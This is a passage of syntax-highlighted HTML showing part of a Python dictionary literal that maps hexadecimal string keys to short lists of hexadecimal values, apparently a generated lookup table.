<span class="s1">'13'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8f'</span><span class="p">,</span> <span class="s1">'128'</span><span class="p">,</span> <span class="s1">'266'</span><span class="p">,</span> <span class="s1">'3c1'</span><span class="p">],</span> <span class="s1">'14'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'44'</span><span class="p">,</span> <span class="s1">'1e3'</span><span class="p">,</span> <span class="s1">'2ad'</span><span class="p">,</span> <span class="s1">'30a'</span><span class="p">],</span> <span class="s1">'15'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c'</span><span class="p">,</span> <span class="s1">'1ab'</span><span class="p">,</span> <span class="s1">'2e5'</span><span class="p">,</span> <span class="s1">'342'</span><span class="p">],</span> <span class="s1">'16'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d4'</span><span class="p">,</span> <span class="s1">'173'</span><span class="p">,</span> <span class="s1">'23d'</span><span class="p">,</span>
<span class="s1">'39a'</span><span class="p">],</span> <span class="s1">'17'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9c'</span><span class="p">,</span> <span class="s1">'13b'</span><span class="p">,</span> <span class="s1">'275'</span><span class="p">,</span> <span class="s1">'3d2'</span><span class="p">],</span> <span class="s1">'18'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e5'</span><span class="p">,</span> <span class="s1">'142'</span><span class="p">,</span> <span class="s1">'20c'</span><span class="p">,</span> <span class="s1">'3ab'</span><span class="p">],</span> <span class="s1">'19'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ad'</span><span class="p">,</span> <span class="s1">'10a'</span><span class="p">,</span> <span class="s1">'244'</span><span class="p">,</span> <span class="s1">'3e3'</span><span class="p">],</span> <span class="s1">'1a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'75'</span><span class="p">,</span>
<span class="s1">'1d2'</span><span class="p">,</span> <span class="s1">'29c'</span><span class="p">,</span> <span class="s1">'33b'</span><span class="p">],</span> <span class="s1">'1b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3d'</span><span class="p">,</span> <span class="s1">'19a'</span><span class="p">,</span> <span class="s1">'2d4'</span><span class="p">,</span> <span class="s1">'373'</span><span class="p">],</span> <span class="s1">'1c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f6'</span><span class="p">,</span> <span class="s1">'151'</span><span class="p">,</span> <span class="s1">'21f'</span><span class="p">,</span> <span class="s1">'3b8'</span><span class="p">],</span> <span class="s1">'1d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'be'</span><span class="p">,</span> <span class="s1">'119'</span><span class="p">,</span> <span class="s1">'257'</span><span class="p">],</span> <span class="s1">'1e'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'66'</span><span class="p">,</span> <span class="s1">'1c1'</span><span class="p">,</span> <span class="s1">'28f'</span><span class="p">,</span> <span class="s1">'328'</span><span class="p">],</span> <span class="s1">'1f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'2e'</span><span class="p">,</span> <span class="s1">'189'</span><span class="p">,</span> <span class="s1">'2c7'</span><span class="p">,</span> <span class="s1">'360'</span><span class="p">],</span> <span class="s1">'2'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'90'</span><span class="p">,</span> <span class="s1">'137'</span><span class="p">,</span> <span class="s1">'279'</span><span class="p">,</span> <span class="s1">'3de'</span><span class="p">],</span> <span class="s1">'20'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ae'</span><span class="p">,</span> <span class="s1">'109'</span><span class="p">,</span> <span class="s1">'247'</span><span class="p">,</span> <span class="s1">'3e0'</span><span class="p">],</span>
<span class="s1">'21'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e6'</span><span class="p">,</span> <span class="s1">'141'</span><span class="p">,</span> <span class="s1">'20f'</span><span class="p">,</span> <span class="s1">'3a8'</span><span class="p">],</span> <span class="s1">'22'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3e'</span><span class="p">,</span> <span class="s1">'199'</span><span class="p">,</span> <span class="s1">'2d7'</span><span class="p">,</span> <span class="s1">'370'</span><span class="p">],</span> <span class="s1">'23'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'76'</span><span class="p">,</span> <span class="s1">'1d1'</span><span class="p">,</span> <span class="s1">'29f'</span><span class="p">,</span> <span class="s1">'338'</span><span class="p">],</span> <span class="s1">'24'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'bd'</span><span class="p">,</span> <span class="s1">'11a'</span><span class="p">,</span> <span class="s1">'254'</span><span class="p">],</span>
<span class="s1">'25'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f5'</span><span class="p">,</span> <span class="s1">'152'</span><span class="p">,</span> <span class="s1">'21c'</span><span class="p">,</span> <span class="s1">'3bb'</span><span class="p">],</span> <span class="s1">'26'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'2d'</span><span class="p">,</span> <span class="s1">'18a'</span><span class="p">,</span> <span class="s1">'2c4'</span><span class="p">,</span> <span class="s1">'363'</span><span class="p">],</span> <span class="s1">'27'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'65'</span><span class="p">,</span> <span class="s1">'1c2'</span><span class="p">,</span> <span class="s1">'28c'</span><span class="p">,</span> <span class="s1">'32b'</span><span class="p">],</span> <span class="s1">'28'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1c'</span><span class="p">,</span> <span class="s1">'1bb'</span><span class="p">,</span> <span class="s1">'2f5'</span><span class="p">,</span>
<span class="s1">'352'</span><span class="p">],</span> <span class="s1">'29'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'54'</span><span class="p">,</span> <span class="s1">'1f3'</span><span class="p">,</span> <span class="s1">'2bd'</span><span class="p">,</span> <span class="s1">'31a'</span><span class="p">],</span> <span class="s1">'2a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8c'</span><span class="p">,</span> <span class="s1">'12b'</span><span class="p">,</span> <span class="s1">'265'</span><span class="p">,</span> <span class="s1">'3c2'</span><span class="p">],</span> <span class="s1">'2b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c4'</span><span class="p">,</span> <span class="s1">'163'</span><span class="p">,</span> <span class="s1">'22d'</span><span class="p">,</span> <span class="s1">'38a'</span><span class="p">],</span> <span class="s1">'2c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f'</span><span class="p">,</span> <span class="s1">'1a8'</span><span class="p">,</span>
<span class="s1">'2e6'</span><span class="p">,</span> <span class="s1">'341'</span><span class="p">],</span> <span class="s1">'2d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'47'</span><span class="p">,</span> <span class="s1">'1e0'</span><span class="p">,</span> <span class="s1">'2ae'</span><span class="p">,</span> <span class="s1">'309'</span><span class="p">],</span> <span class="s1">'2e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9f'</span><span class="p">,</span> <span class="s1">'138'</span><span class="p">,</span> <span class="s1">'276'</span><span class="p">,</span> <span class="s1">'3d1'</span><span class="p">],</span> <span class="s1">'2f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d7'</span><span class="p">,</span> <span class="s1">'170'</span><span class="p">,</span> <span class="s1">'23e'</span><span class="p">,</span> <span class="s1">'399'</span><span class="p">],</span> <span class="s1">'3'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d8'</span><span class="p">,</span>
<span class="s1">'17f'</span><span class="p">,</span> <span class="s1">'231'</span><span class="p">,</span> <span class="s1">'396'</span><span class="p">],</span> <span class="s1">'30'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f9'</span><span class="p">,</span> <span class="s1">'15e'</span><span class="p">,</span> <span class="s1">'210'</span><span class="p">,</span> <span class="s1">'3b7'</span><span class="p">],</span> <span class="s1">'31'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b1'</span><span class="p">,</span> <span class="s1">'116'</span><span class="p">,</span> <span class="s1">'258'</span><span class="p">],</span> <span class="s1">'32'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'69'</span><span class="p">,</span> <span class="s1">'1ce'</span><span class="p">,</span> <span class="s1">'280'</span><span class="p">,</span> <span class="s1">'327'</span><span class="p">],</span> <span class="s1">'33'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'21'</span><span class="p">,</span>
<span class="s1">'186'</span><span class="p">,</span> <span class="s1">'2c8'</span><span class="p">,</span> <span class="s1">'36f'</span><span class="p">],</span> <span class="s1">'34'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ea'</span><span class="p">,</span> <span class="s1">'14d'</span><span class="p">,</span> <span class="s1">'203'</span><span class="p">,</span> <span class="s1">'3a4'</span><span class="p">],</span> <span class="s1">'35'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a2'</span><span class="p">,</span> <span class="s1">'105'</span><span class="p">,</span> <span class="s1">'24b'</span><span class="p">],</span> <span class="s1">'36'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7a'</span><span class="p">,</span> <span class="s1">'1dd'</span><span class="p">,</span> <span class="s1">'293'</span><span class="p">,</span> <span class="s1">'334'</span><span class="p">],</span> <span class="s1">'37'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'32'</span><span class="p">,</span>
<span class="s1">'195'</span><span class="p">,</span> <span class="s1">'2db'</span><span class="p">,</span> <span class="s1">'37c'</span><span class="p">],</span> <span class="s1">'38'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4b'</span><span class="p">,</span> <span class="s1">'1ec'</span><span class="p">,</span> <span class="s1">'2a2'</span><span class="p">,</span> <span class="s1">'305'</span><span class="p">],</span> <span class="s1">'39'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3'</span><span class="p">,</span> <span class="s1">'1a4'</span><span class="p">,</span> <span class="s1">'2ea'</span><span class="p">,</span> <span class="s1">'34d'</span><span class="p">],</span> <span class="s1">'3a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'db'</span><span class="p">,</span> <span class="s1">'17c'</span><span class="p">,</span> <span class="s1">'232'</span><span class="p">,</span> <span class="s1">'395'</span><span class="p">],</span> <span class="s1">'3b'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'93'</span><span class="p">,</span> <span class="s1">'134'</span><span class="p">,</span> <span class="s1">'27a'</span><span class="p">,</span> <span class="s1">'3dd'</span><span class="p">],</span> <span class="s1">'3c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'58'</span><span class="p">,</span> <span class="s1">'1ff'</span><span class="p">,</span> <span class="s1">'2b1'</span><span class="p">,</span> <span class="s1">'316'</span><span class="p">],</span> <span class="s1">'3d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'10'</span><span class="p">,</span> <span class="s1">'1b7'</span><span class="p">,</span> <span class="s1">'2f9'</span><span class="p">,</span> <span class="s1">'35e'</span><span class="p">],</span> <span class="s1">'3e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c8'</span><span class="p">,</span> <span class="s1">'16f'</span><span class="p">,</span> <span class="s1">'221'</span><span class="p">,</span> <span class="s1">'386'</span><span class="p">],</span>
<span class="s1">'3f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'80'</span><span class="p">,</span> <span class="s1">'127'</span><span class="p">,</span> <span class="s1">'269'</span><span class="p">,</span> <span class="s1">'3ce'</span><span class="p">],</span> <span class="s1">'4'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'13'</span><span class="p">,</span> <span class="s1">'1b4'</span><span class="p">,</span> <span class="s1">'2fa'</span><span class="p">,</span> <span class="s1">'35d'</span><span class="p">],</span> <span class="s1">'40'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6f'</span><span class="p">,</span> <span class="s1">'1c8'</span><span class="p">,</span> <span class="s1">'286'</span><span class="p">,</span> <span class="s1">'321'</span><span class="p">],</span> <span class="s1">'41'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'27'</span><span class="p">,</span> <span class="s1">'180'</span><span class="p">,</span> <span class="s1">'2ce'</span><span class="p">,</span>
<span class="s1">'369'</span><span class="p">],</span> <span class="s1">'42'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ff'</span><span class="p">,</span> <span class="s1">'158'</span><span class="p">,</span> <span class="s1">'216'</span><span class="p">,</span> <span class="s1">'3b1'</span><span class="p">],</span> <span class="s1">'43'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b7'</span><span class="p">,</span> <span class="s1">'110'</span><span class="p">,</span> <span class="s1">'25e'</span><span class="p">],</span> <span class="s1">'44'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7c'</span><span class="p">,</span> <span class="s1">'1db'</span><span class="p">,</span> <span class="s1">'295'</span><span class="p">,</span> <span class="s1">'332'</span><span class="p">],</span> <span class="s1">'45'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'34'</span><span class="p">,</span> <span class="s1">'193'</span><span class="p">,</span> <span class="s1">'2dd'</span><span class="p">,</span>
<span class="s1">'37a'</span><span class="p">],</span> <span class="s1">'46'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ec'</span><span class="p">,</span> <span class="s1">'14b'</span><span class="p">,</span> <span class="s1">'205'</span><span class="p">,</span> <span class="s1">'3a2'</span><span class="p">],</span> <span class="s1">'47'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a4'</span><span class="p">,</span> <span class="s1">'103'</span><span class="p">,</span> <span class="s1">'24d'</span><span class="p">,</span> <span class="s1">'3ea'</span><span class="p">],</span> <span class="s1">'48'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'dd'</span><span class="p">,</span> <span class="s1">'17a'</span><span class="p">,</span> <span class="s1">'234'</span><span class="p">,</span> <span class="s1">'393'</span><span class="p">],</span> <span class="s1">'49'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'95'</span><span class="p">,</span> <span class="s1">'132'</span><span class="p">,</span>
<span class="s1">'27c'</span><span class="p">,</span> <span class="s1">'3db'</span><span class="p">],</span> <span class="s1">'4a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4d'</span><span class="p">,</span> <span class="s1">'1ea'</span><span class="p">,</span> <span class="s1">'2a4'</span><span class="p">,</span> <span class="s1">'303'</span><span class="p">],</span> <span class="s1">'4b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5'</span><span class="p">,</span> <span class="s1">'1a2'</span><span class="p">,</span> <span class="s1">'2ec'</span><span class="p">,</span> <span class="s1">'34b'</span><span class="p">],</span> <span class="s1">'4c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ce'</span><span class="p">,</span> <span class="s1">'169'</span><span class="p">,</span> <span class="s1">'227'</span><span class="p">,</span> <span class="s1">'380'</span><span class="p">],</span> <span class="s1">'4d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'86'</span><span class="p">,</span>
<span class="s1">'121'</span><span class="p">,</span> <span class="s1">'26f'</span><span class="p">,</span> <span class="s1">'3c8'</span><span class="p">],</span> <span class="s1">'4e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5e'</span><span class="p">,</span> <span class="s1">'1f9'</span><span class="p">,</span> <span class="s1">'2b7'</span><span class="p">,</span> <span class="s1">'310'</span><span class="p">],</span> <span class="s1">'4f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'16'</span><span class="p">,</span> <span class="s1">'1b1'</span><span class="p">,</span> <span class="s1">'2ff'</span><span class="p">,</span> <span class="s1">'358'</span><span class="p">],</span> <span class="s1">'5'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5b'</span><span class="p">,</span> <span class="s1">'1fc'</span><span class="p">,</span> <span class="s1">'2b2'</span><span class="p">,</span> <span class="s1">'315'</span><span class="p">],</span> <span class="s1">'50'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'38'</span><span class="p">,</span> <span class="s1">'19f'</span><span class="p">,</span> <span class="s1">'2d1'</span><span class="p">,</span> <span class="s1">'376'</span><span class="p">],</span> <span class="s1">'51'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'70'</span><span class="p">,</span> <span class="s1">'1d7'</span><span class="p">,</span> <span class="s1">'299'</span><span class="p">,</span> <span class="s1">'33e'</span><span class="p">],</span> <span class="s1">'52'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a8'</span><span class="p">,</span> <span class="s1">'10f'</span><span class="p">,</span> <span class="s1">'241'</span><span class="p">,</span> <span class="s1">'3e6'</span><span class="p">],</span> <span class="s1">'53'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e0'</span><span class="p">,</span> <span class="s1">'147'</span><span class="p">,</span> <span class="s1">'209'</span><span class="p">,</span> <span class="s1">'3ae'</span><span class="p">],</span>
<span class="s1">'54'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'2b'</span><span class="p">,</span> <span class="s1">'18c'</span><span class="p">,</span> <span class="s1">'2c2'</span><span class="p">,</span> <span class="s1">'365'</span><span class="p">],</span> <span class="s1">'55'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'63'</span><span class="p">,</span> <span class="s1">'1c4'</span><span class="p">,</span> <span class="s1">'28a'</span><span class="p">,</span> <span class="s1">'32d'</span><span class="p">],</span> <span class="s1">'56'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'bb'</span><span class="p">,</span> <span class="s1">'11c'</span><span class="p">,</span> <span class="s1">'252'</span><span class="p">],</span> <span class="s1">'57'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f3'</span><span class="p">,</span> <span class="s1">'154'</span><span class="p">,</span> <span class="s1">'21a'</span><span class="p">,</span> <span class="s1">'3bd'</span><span class="p">],</span>
<span class="s1">'58'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'8a'</span><span class="p">,</span> <span class="s1">'12d'</span><span class="p">,</span> <span class="s1">'263'</span><span class="p">,</span> <span class="s1">'3c4'</span><span class="p">],</span> <span class="s1">'59'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c2'</span><span class="p">,</span> <span class="s1">'165'</span><span class="p">,</span> <span class="s1">'22b'</span><span class="p">,</span> <span class="s1">'38c'</span><span class="p">],</span> <span class="s1">'5a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1a'</span><span class="p">,</span> <span class="s1">'1bd'</span><span class="p">,</span> <span class="s1">'2f3'</span><span class="p">,</span> <span class="s1">'354'</span><span class="p">],</span> <span class="s1">'5b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'52'</span><span class="p">,</span> <span class="s1">'1f5'</span><span class="p">,</span> <span class="s1">'2bb'</span><span class="p">,</span>
<span class="s1">'31c'</span><span class="p">],</span> <span class="s1">'5c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'99'</span><span class="p">,</span> <span class="s1">'13e'</span><span class="p">,</span> <span class="s1">'270'</span><span class="p">,</span> <span class="s1">'3d7'</span><span class="p">],</span> <span class="s1">'5d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d1'</span><span class="p">,</span> <span class="s1">'176'</span><span class="p">,</span> <span class="s1">'238'</span><span class="p">,</span> <span class="s1">'39f'</span><span class="p">],</span> <span class="s1">'5e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9'</span><span class="p">,</span> <span class="s1">'1ae'</span><span class="p">,</span> <span class="s1">'2e0'</span><span class="p">,</span> <span class="s1">'347'</span><span class="p">],</span> <span class="s1">'5f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'41'</span><span class="p">,</span> <span class="s1">'1e6'</span><span class="p">,</span>
<span class="s1">'2a8'</span><span class="p">,</span> <span class="s1">'30f'</span><span class="p">],</span> <span class="s1">'6'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'83'</span><span class="p">,</span> <span class="s1">'124'</span><span class="p">,</span> <span class="s1">'26a'</span><span class="p">,</span> <span class="s1">'3cd'</span><span class="p">],</span> <span class="s1">'60'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c1'</span><span class="p">,</span> <span class="s1">'166'</span><span class="p">,</span> <span class="s1">'228'</span><span class="p">,</span> <span class="s1">'38f'</span><span class="p">],</span> <span class="s1">'61'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'89'</span><span class="p">,</span> <span class="s1">'12e'</span><span class="p">,</span> <span class="s1">'260'</span><span class="p">,</span> <span class="s1">'3c7'</span><span class="p">],</span> <span class="s1">'62'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'51'</span><span class="p">,</span>
<span class="s1">'1f6'</span><span class="p">,</span> <span class="s1">'2b8'</span><span class="p">,</span> <span class="s1">'31f'</span><span class="p">],</span> <span class="s1">'63'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'19'</span><span class="p">,</span> <span class="s1">'1be'</span><span class="p">,</span> <span class="s1">'2f0'</span><span class="p">,</span> <span class="s1">'357'</span><span class="p">],</span> <span class="s1">'64'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'d2'</span><span class="p">,</span> <span class="s1">'175'</span><span class="p">,</span> <span class="s1">'23b'</span><span class="p">,</span> <span class="s1">'39c'</span><span class="p">],</span> <span class="s1">'65'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'9a'</span><span class="p">,</span> <span class="s1">'13d'</span><span class="p">,</span> <span class="s1">'273'</span><span class="p">,</span> <span class="s1">'3d4'</span><span class="p">],</span> <span class="s1">'66'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'42'</span><span class="p">,</span> <span class="s1">'1e5'</span><span class="p">,</span> <span class="s1">'2ab'</span><span class="p">,</span> <span class="s1">'30c'</span><span class="p">],</span> <span class="s1">'67'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a'</span><span class="p">,</span> <span class="s1">'1ad'</span><span class="p">,</span> <span class="s1">'2e3'</span><span class="p">,</span> <span class="s1">'344'</span><span class="p">],</span> <span class="s1">'68'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'73'</span><span class="p">,</span> <span class="s1">'1d4'</span><span class="p">,</span> <span class="s1">'29a'</span><span class="p">,</span> <span class="s1">'33d'</span><span class="p">],</span> <span class="s1">'69'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'3b'</span><span class="p">,</span> <span class="s1">'19c'</span><span class="p">,</span> <span class="s1">'2d2'</span><span class="p">,</span> <span class="s1">'375'</span><span class="p">],</span>
<span class="s1">'6a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'e3'</span><span class="p">,</span> <span class="s1">'144'</span><span class="p">,</span> <span class="s1">'20a'</span><span class="p">,</span> <span class="s1">'3ad'</span><span class="p">],</span> <span class="s1">'6b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ab'</span><span class="p">,</span> <span class="s1">'10c'</span><span class="p">,</span> <span class="s1">'242'</span><span class="p">,</span> <span class="s1">'3e5'</span><span class="p">],</span> <span class="s1">'6c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'60'</span><span class="p">,</span> <span class="s1">'1c7'</span><span class="p">,</span> <span class="s1">'289'</span><span class="p">,</span> <span class="s1">'32e'</span><span class="p">],</span> <span class="s1">'6d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'28'</span><span class="p">,</span> <span class="s1">'18f'</span><span class="p">,</span> <span class="s1">'2c1'</span><span class="p">,</span>
<span class="s1">'366'</span><span class="p">],</span> <span class="s1">'6e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'f0'</span><span class="p">,</span> <span class="s1">'157'</span><span class="p">,</span> <span class="s1">'219'</span><span class="p">,</span> <span class="s1">'3be'</span><span class="p">],</span> <span class="s1">'6f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b8'</span><span class="p">,</span> <span class="s1">'11f'</span><span class="p">,</span> <span class="s1">'251'</span><span class="p">],</span> <span class="s1">'7'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'cb'</span><span class="p">,</span> <span class="s1">'16c'</span><span class="p">,</span> <span class="s1">'222'</span><span class="p">,</span> <span class="s1">'385'</span><span class="p">],</span> <span class="s1">'70'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'96'</span><span class="p">,</span> <span class="s1">'131'</span><span class="p">,</span> <span class="s1">'27f'</span><span class="p">,</span>
<span class="s1">'3d8'</span><span class="p">],</span> <span class="s1">'71'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'de'</span><span class="p">,</span> <span class="s1">'179'</span><span class="p">,</span> <span class="s1">'237'</span><span class="p">,</span> <span class="s1">'390'</span><span class="p">],</span> <span class="s1">'72'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6'</span><span class="p">,</span> <span class="s1">'1a1'</span><span class="p">,</span> <span class="s1">'2ef'</span><span class="p">,</span> <span class="s1">'348'</span><span class="p">],</span> <span class="s1">'73'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4e'</span><span class="p">,</span> <span class="s1">'1e9'</span><span class="p">,</span> <span class="s1">'2a7'</span><span class="p">,</span> <span class="s1">'300'</span><span class="p">],</span> <span class="s1">'74'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'85'</span><span class="p">,</span> <span class="s1">'122'</span><span class="p">,</span>
<span class="s1">'26c'</span><span class="p">,</span> <span class="s1">'3cb'</span><span class="p">],</span> <span class="s1">'75'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'cd'</span><span class="p">,</span> <span class="s1">'16a'</span><span class="p">,</span> <span class="s1">'224'</span><span class="p">,</span> <span class="s1">'383'</span><span class="p">],</span> <span class="s1">'76'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'15'</span><span class="p">,</span> <span class="s1">'1b2'</span><span class="p">,</span> <span class="s1">'2fc'</span><span class="p">,</span> <span class="s1">'35b'</span><span class="p">],</span> <span class="s1">'77'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'5d'</span><span class="p">,</span> <span class="s1">'1fa'</span><span class="p">,</span> <span class="s1">'2b4'</span><span class="p">,</span> <span class="s1">'313'</span><span class="p">],</span> <span class="s1">'78'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'24'</span><span class="p">,</span>
<span class="s1">'183'</span><span class="p">,</span> <span class="s1">'2cd'</span><span class="p">,</span> <span class="s1">'36a'</span><span class="p">],</span> <span class="s1">'79'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'6c'</span><span class="p">,</span> <span class="s1">'1cb'</span><span class="p">,</span> <span class="s1">'285'</span><span class="p">,</span> <span class="s1">'322'</span><span class="p">],</span> <span class="s1">'7a'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'b4'</span><span class="p">,</span> <span class="s1">'113'</span><span class="p">,</span> <span class="s1">'25d'</span><span class="p">],</span> <span class="s1">'7b'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'fc'</span><span class="p">,</span> <span class="s1">'15b'</span><span class="p">,</span> <span class="s1">'215'</span><span class="p">,</span> <span class="s1">'3b2'</span><span class="p">],</span> <span class="s1">'7c'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'37'</span><span class="p">,</span>
<span class="s1">'190'</span><span class="p">,</span> <span class="s1">'2de'</span><span class="p">,</span> <span class="s1">'379'</span><span class="p">],</span> <span class="s1">'7d'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'7f'</span><span class="p">,</span> <span class="s1">'1d8'</span><span class="p">,</span> <span class="s1">'296'</span><span class="p">,</span> <span class="s1">'331'</span><span class="p">],</span> <span class="s1">'7e'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'a7'</span><span class="p">,</span> <span class="s1">'100'</span><span class="p">,</span> <span class="s1">'24e'</span><span class="p">,</span> <span class="s1">'3e9'</span><span class="p">],</span> <span class="s1">'7f'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'ef'</span><span class="p">,</span> <span class="s1">'148'</span><span class="p">,</span> <span class="s1">'206'</span><span class="p">,</span> <span class="s1">'3a1'</span><span class="p">],</span> <span class="s1">'8'</span><span class="p">:</span>
<span class="p">[</span><span class="s1">'b2'</span><span class="p">,</span> <span class="s1">'115'</span><span class="p">,</span> <span class="s1">'25b'</span><span class="p">],</span> <span class="s1">'80'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'4a'</span><span class="p">,</span> <span class="s1">'1ed'</span><span class="p">,</span> <span class="s1">'2a3'</span><span class="p">,</span> <span class="s1">'304'</span><span class="p">],</span> <span class="s1">'81'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'1a5'</span><span class="p">,</span> <span class="s1">'2eb'</span><span class="p">,</span> <span class="s1">'34c'</span><span class="p">],</span> <span class="s1">'82'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'da'</span><span class="p">,</span> <span class="s1">'17d'</span><span class="p">,</span> <span class="s1">'233'</span><span class="p">,</span> <span class="s1">'394'</span><span class="p">],</span> <span class="s1">'83'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'92'</span><span class="p">,</span>
<span class="s1">'135'</span><span class="p">,</span> <span class="s1">'27b'</span><span class="p">,</span> <span class="s1">'3dc'</span><span class="p">],</span> <span class="s1">'84'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'59'</span><span class="p">,</span> <span class="s1">'1fe'</span><span class="p">,</span> <span class="s1">'2b0'</span><span class="p">,</span> <span class="s1">'317'</span><span class="p">],</span> <span class="s1">'85'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'11'</span><span class="p">,</span> <span class="s1">'1b6'</span><span class="p">,</span> <span class="s1">'2f8'</span><span class="p">,</span> <span class="s1">'35f'</span><span class="p">],</span> <span class="s1">'86'</span><span class="p">:</span> <span class="p">[</span><span class="s1">'c9'</span><span class="p">,</span> <span class="s1">'16e'</span><span class="p">,</span> <span class="s1">'220'</span><span class="p">,</span> <span class="s1">'387'</span><span class="p">],</span> <span class="s1">'87'</span><span class="p">:</span>
